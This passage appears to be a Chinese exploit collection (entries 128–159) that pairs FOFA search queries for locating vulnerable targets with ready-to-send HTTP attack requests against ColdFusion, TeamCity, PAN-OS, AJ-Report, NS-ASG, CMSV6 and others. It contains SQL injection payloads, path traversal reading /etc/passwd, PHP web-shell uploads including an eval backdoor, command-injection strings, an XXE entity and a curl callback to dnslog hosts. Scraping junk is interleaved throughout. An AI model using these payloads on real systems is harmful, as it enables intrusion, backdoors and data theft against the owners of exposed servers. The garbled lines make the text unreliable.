<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
4 H/ S* }4 i: ~( s0 t* e) r* R7 o]
. Y3 I3 [- F& U8 @% s* ]/ @>
<test>&t;</test>
0 H# L' F, A& q4 B3 T------WebKitFormBoundaryJGgV5l5ta05yAIe0--
% p6 N+ h( W: M1 d; F% E

5 R  H" f- R1 g. B( f
128. Adobe ColdFusion 反序列化
5 _$ q# g, W' m; _/ r4 k9 QCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
7 d' W( u. K. w) p0 qPAYLOAD
. d8 m  H3 h" H. k- ], ^/ o+ ~! x
) f% [& p* `9 H$ W129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
" x! }- l  {6 L! t9 UFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
- Q6 V8 ?% Q) U$ h2 O- M- f9 ]第一步，获取uuid
7 J. p! [" [0 b0 S1 ~6 eGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
% D2 _" R, p3 L. ?" ZHost: x.x.x.x
0 K% e  P4 C$ E% {, R+ J$ aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
# x& m2 Y& r( M7 L0 P# Y9 |Accept: */*
! S# d6 V& E. o4 j, J* {Accept-Encoding: gzip, deflate
* F4 U$ B6 E2 L; I7 m4 [Connection: close
0 L8 |( z* i8 r; [
( K; O" J* u1 w* ?" O" p
第二步，读取/etc/passwd文件
4 I/ T( R! r& W# |) O2 n" Y$ c. TGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
: f$ J. j. h4 ~# K" I* c& _) Y+ TAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


130. Laykefu客服系统任意文件上传
, C" b' g# Y/ |5 t6 ?" J0 nFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
& r, a: E! H9 N0 d: F1 Y2 B8 BHost: 127.0.0.1
6 }/ X7 [1 j$ d/ h3 L% `Accept: application/json, text/javascript, */*; q=0.01
+ o' y2 i  u9 Q- UX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
' v6 N$ r% r$ o' A" I6 ]Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
! P) F# s- L: H6 B2 ?Accept-Encoding: gzip, deflate
( d1 E4 q: L) e3 d! O0 GAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close

2 Q; i( O6 m. t3 ]1 e$ a( @------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

5 o# A- `# u( G<?php phpinfo();@eval($_POST['sec']);?>
, `! w* I7 s; a------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
6 x* _7 b3 }! q' R' r9 B% n1 K% L后台地址：http://localhost:8080/tmall/admin
% H$ e3 l6 T& b: Vhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
+ `8 C' Q8 r1 gCVE-2024-27198
FOFA：body="Log in to TeamCity"
( n$ c/ n2 a; `* VPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
" y6 r5 D. S. e& uHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 ?$ P. F) M' h& e/ f, x* m( hAccept: */*
$ A' o$ Y3 e1 S0 _Content-Type: application/json
Accept-Encoding: gzip, deflate
' o) y8 t- C' v1 H1 I0 _
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


  k0 |2 @: W1 P0 b* KCVE-2024-27199
/res/../admin/diagnostic.jsp
  Z4 v$ |5 B" b' {- u' Q, Z/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


CVE-2024-27198-RCE.py

9 a' H8 {8 c) b9 y133. H5 云商城 file.php 文件上传
8 P: K5 T7 A/ S+ Q* aFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
( B: [  J  a& o1 m9 W6 P, [Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
/ d. s1 ^4 D# K) Q7 {6 U* P
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
7 f. u) F; D" j+ F2 F' U0 h% V) tContent-Type: application/octet-stream
5 M' }* v; j4 [6 t
<?php system("cat /etc/passwd");unlink(__FILE__);?>
/ }' l, z2 G- U4 G# k! P! o! }" ?------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
4 `: Z2 h1 D( X7 X( UNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
0 n8 Z6 x+ y) J( Y) ~1 N; O5 NPOST /protocol/index.php HTTP/1.1
" j; y8 u7 _! j2 {" JHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
6 r8 k1 {6 a! Q2 Z$ ^8 j: u" eSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
' G$ O/ ?6 P, F# H
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
& m- c/ I, e1 k- M" ^' G! _3 L

/ D4 v9 |1 c5 X; U" `135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
8 @2 j' I/ A6 \) s5 e2 `: n2 {/ y, sCVE-2024-2022
8 D; ^5 G& ]( ^1 gNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
7 x  y; y, C' M# i! d3 Q; f9 UHost: x.x.x.x
. ]3 K. e4 A' ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  h- }# x3 s& l% z) [* mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 R: q( I; s" R+ n1 D  ?5 JConnection: close
- z; {6 ~) u: T3 W0 }6 C% e

136. NextChat cors SSRF
CVE-2023-49785
" m6 \3 z  o: L- M, fFOFA：title="NextChat"
. d3 X- S. _; SGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
* T- g% q& z7 W, BHost: x.x.x.x:10000
! `+ Q) f: i5 J4 pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  m5 W9 B( @5 xConnection: close
# F3 g  P  u# d' lAccept: */*
6 }' q- t( R; s4 kAccept-Language: en
, Z; p0 _6 x3 B% \0 @. r$ U/ O! ?Accept-Encoding: gzip

( D. ], N$ v% c
& a( U/ ^; p, [. H0 C137. 福建科立迅通信指挥调度平台down_file.php sql注入
; d! m" f# Z3 e; H$ t5 A% zCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
+ f, N+ U- q, ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
! L9 f+ c, Q8 i( ]+ r: z' }  uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- H! Y3 ~* G  A) u$ {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 G) e$ e$ i+ W0 F# xAccept-Encoding: gzip, deflate, br
Connection: close
) `' ]% V7 j- B2 v" ICookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
7 g2 g; v' K3 lUpgrade-Insecure-Requests: 1


5 n) r2 R8 c$ Z: H$ o. M138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
8 q( z! c% x& u) Q. sCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
& q+ W7 A5 _. @$ O6 }: PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
7 S& a3 p' U! Z2 ^. c2 i: ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ b% N) e! J; g$ X! b: h! V$ k$ E5 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
8 L; h$ H  A) J5 jConnection: close
Upgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
; z( F. Q7 k( v& S) U7 z. j2 YGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
. F/ Q6 p+ q- {# Z$ o, x( NHost: x.x.x.x
( S$ _6 @$ y- h+ t% K, L/ B% gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
. U! X$ `6 O: z# t5 w0 |' |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 U( l! C' v2 H) \: KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 S# e7 R* e9 P( f" H# IAccept-Encoding: gzip, deflate, br
/ M2 i. B$ I9 e+ }+ }2 }; Y2 p" R, |Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
/ e' z! j3 D* Q0 V4 \, ^8 n5 FUpgrade-Insecure-Requests: 1
( ]3 h$ d6 T' Z
' y/ i% W+ d( f
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
7 C3 n/ o- H) z2 @! [Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
' w; o. L! ?) V# wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. C  h6 [2 d- L: R! G8 {Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
4 Q% n- K' k) d& l  I7 B9 {FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
9 B) @. n' c1 l9 B5 |+ mHost: your-ip
, P% i2 V& V4 ~5 r# b, BUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
6 o  _2 a4 e- z  x$ a" T8 Y* s( YContent-Type: application/x-www-form-urlencoded


: ^' K' f3 x% N. @) Ndep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

. N+ D  ~7 J0 ~! {4 o% n
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
6 Z* P  ^! |/ _/ [% UFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
1 S# L0 Z1 G4 u7 e9 ECVE-2024-25850
" ?, U) L% E  B/ H0 j* ]- `/ CFOFA：title='AP setup' && header='netis'
- H6 H7 U$ b, Y* oPAYLOAD

* H& v+ n4 h% a& M/ }144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
4 `9 q% N; M& [1 Lsystem参数用于传要执行的命令
, |  e) u5 E) C/ M# t: Q  L8 UGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
2 B& z) S0 r& n* X) H- EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
& e' Q9 I9 i& j. ?6 O9 g% VAccept: */*
Accept-Language: en
( t8 [5 m0 x2 OAccept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
) K: Q( g; ]$ W* Y' C- ~3 }CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
% \  a+ k. z% yCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
, B" n6 h7 x( I* v+ ~' }' E7 o/ cAccept-Encoding: gzip


' o) ]8 ^( [. ]0 T+ r0 ^146. MajorDoMo thumb.php 未授权远程代码执行
9 Z( j  a( m$ L0 G0 t; K1 ?+ \CNVD-2024-02175
FOFA：app="MajordomoSL"
, L, J* m; e; gGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

8 ~6 U7 F6 z0 w$ ]
5 B( Q. ?- @, Q9 o147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
" Y) [; \  p& ^) i4 g7 W. q6 [FOFA：body="RaidenMAILD"
5 P  u1 M, ], p5 o0 nGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
# b0 G* b1 A+ k1 t# VConnection: close

7 _8 s3 U) b; C, p( A# Y
1 G9 s* V0 K' R) o' B. m148. CrushFTP 认证绕过模板注入
$ U  x1 o$ l) y- r5 P& u6 f# a. QCVE-2024-4040
# T* K/ l! b" R$ O$ u3 `2 G  ]  AFOFA：body="CrushFTP"
PAYLOAD

, W5 U. D+ Q+ x) ?' j4 u2 `+ U1 U149. AJ-Report开源数据大屏存在远程命令执行
6 @+ O& W" R- m6 M/ wFOFA：title="AJ-Report"
& ]: h2 b! [" ?, N; e1 r2 z1 S- p
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
2 T. \" z- z4 C( |; MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 v2 Y8 I& `7 X( r1 FAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
, n# }3 b) E* e/ jContent-Type: application/json;charset=UTF-8
' A: D9 x( f& U) V) Y1 X# _Connection: close

8 ~. f8 Q' y. S* d6 h# R, t/ [$ q{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
6 B( a- o" @( [/ `" x+ O/ w% hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 u6 C4 Z& a. b% \3 ?4 bAccept-Encoding: gzip, deflate, br
# F8 Q" e9 Z' C. eAccept-Language: zh-CN,zh;q=0.9
2 H$ N4 t; d' t% I8 s' \4 C: V* PContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
/ ]9 D) X. A6 Z9 V0 }: e
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


2 W( N4 `. l. k  E8 [/ k151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
% D7 u( u1 t) H. K3 xGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
7 K; i5 ]. P& j7 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 T4 ~# n5 k0 [, SConnection: close
Accept-Encoding: gzip


152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
7 h1 I  P! |# S7 b3 w2 @LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
6 ?% J- A) g2 x$ T7 x+ L* _2 XLoadMaster <= 7.2.48.10 (LTS)
$ b2 ~4 Z  |% V! q/ }7 tFOFA：body="LoadMaster"
* C# H. D9 J# ZJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
% f' j) i' [" W6 f0 LGET /access/set?param=enableapi&value=1 HTTP/1.1
( f! d5 \( G4 P( V0 J2 eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

% H1 `) Z) Z7 W( s3 _( ^8 V
153. gradio任意文件读取
9 D" Z. {8 s* P1 i- [, nCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
, q+ D; L8 ^3 r4 E) n* n. ?http://x.x.x.x/config

2 ~" k- P. C5 |% T( |$ c+ L; K
第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

- B$ e( `# {3 j& E{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
9 V2 S: ?/ j7 }: J/ F* J

第三步访问
8 l! U8 F/ w  ^http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


, r# b; E0 J# Z& P" b# ^3 i154. 天维尔消防救援作战调度平台 SQL注入
& g: d6 ~# l/ v" |" R% W5 uCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
5 \/ y4 n+ K: i" u- m9 K( \# pPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
' y- r$ x7 [0 B0 s! NHost: x.x.x.x
' U8 ?5 l9 X$ \  W& h( U9 J/ pContent-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
( R) a4 U9 S' n6 ]' I2 w0 q" C" xOrigin: http://x.x.x.x
( u* X5 j+ F; v" rContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
0 Z( f/ y1 _- z4 j$ ^Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
( Z; c2 Z) K" j( }Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
/ C" X+ a9 |+ J- ~& m

, N3 X7 t( a) k" w2 ?4 C* {155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
9 c- {  r5 m, iFOFA：title=="上网导航 - LyLme Spage"
4 u' [7 L0 K7 f" z: zPOST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
6 Q% I) K, w0 |: a  E' ZConnection: close
Content-Length: 232
% E& S9 g& k' Y. e# z6 U5 yAccept: application/json, text/javascript, */*; q=0.01
$ ]: L2 q" L3 G, A3 J8 z& YAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; Q7 \3 a! H- P# _Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
! u  @7 k' n+ B% f( G& sX-Requested-With: XMLHttpRequest
- Y0 l0 _9 B: o5 T* M8 d4 P
-----------------------------qttl7vemrsold314zg0f
5 t# v3 W0 _6 A3 M# DContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

0 }. J; O- E0 \6 X% M& b; ?5 e2 E<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

' Q, _2 r$ D0 O  l( w( H
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
% ], U$ V$ G  ~; s' t  BCVE-2024-3721
FOFA："Location: /login.rsp"
' L: Y* D/ u  ^/ T( }·TBK DVR-4104
·TBK DVR-4216
' v, d3 W9 L# Q: V. k- D$ |curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
! c$ _$ m, w0 X$ ?( l+ x% k

8 v# \1 T; t; D& h# H1 ]1 WPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
( U5 s# W" N; i' ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
* ~" ?' N1 e% o- k3 OCookie: uid=1
" @$ {0 Z5 b  y) ]. PAccept-Encoding: gzip
3 t6 y: o3 B# k$ F( @4 f' ~) z
# x8 @8 F/ R. I) t' [9 ^
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
6 K7 d/ M. Y1 _Content-Length: 709
; `( z' U  h) ]! J$ R8 [! SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# {# v/ m# J7 qAccept-Language: zh-CN,zh;q=0.9
  N* [1 x; c3 z! p! b9 Q$ MCache-Control: max-age=0
# b1 D9 i$ L7 N3 |! B  f- s- Q7 YConnection: close
5 h; E1 w; U- ]Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
' Y% z4 |  W9 G/ R- U. O9 ^/ A1 O
------WebKitFormBoundary1imovELzPsfzp5dN
7 v% y( ~( j. n! E% Q. h& {Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
3 B  e8 u+ D; o, f1 oContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
5 I/ h8 |4 z7 n+ A, z. P4 k------WebKitFormBoundary1imovELzPsfzp5dN
) ^! r) o+ y% {Content-Disposition: form-data; name="key"
8 j3 d  w) l* X0 D1 n8 k9 I
4 _  X: w( P# U( a9 N& J4 \8 f' Enull
  O) x- C2 ]; O5 w0 m$ j------WebKitFormBoundary1imovELzPsfzp5dN
+ [& f/ v4 V6 c- t7 y+ oContent-Disposition: form-data; name="form"
* o. e* S6 _2 ?/ X* u
null
6 |. }6 L2 [1 s9 ~------WebKitFormBoundary1imovELzPsfzp5dN
: D" t" q" ]- I( U' c( X7 UContent-Disposition: form-data; name="field"
9 N- R2 Y$ K' J
: H- u8 H( ]) ~3 y% N' j  s; k& ]null
2 ?: ^- A/ V# j; {------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

) O: a! k& O2 V7 T! k  Znull
: M4 B* v  [; p9 _------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
5 ?2 [6 P* ?7 r% \
( J/ N" t, @; V7 C4 Tnull
' t1 B8 n; C: i------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
$ ?7 }& D0 k- B4 g0 @( g. L6 w7 v' Q
158. Mura-CMS-processAsyncObject存在SQL注入
2 F! r" S7 c! _# i+ YCVE-2024-32640
FOFA："Generator: Masa CMS"
. i* J+ C7 V  }- c3 ~8 I7 g2 ^POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
. J- |2 W! r/ B' ~) x- a6 kContent-Type: application/x-www-form-urlencoded

0 p$ [) u9 |' i2 bobject=displayregion&contenthistid=x\'&previewid=1
. d7 s0 X( m! s" |1 s* N/ \
/ W/ y/ t* J8 X7 b3 ^
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
5 W0 L9 R3 l' A: F0 b' i. U: C! }/ IFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
0 j- F5 s9 m* cPOST /webservices/WebJobUpload.asmx HTTP/1.1
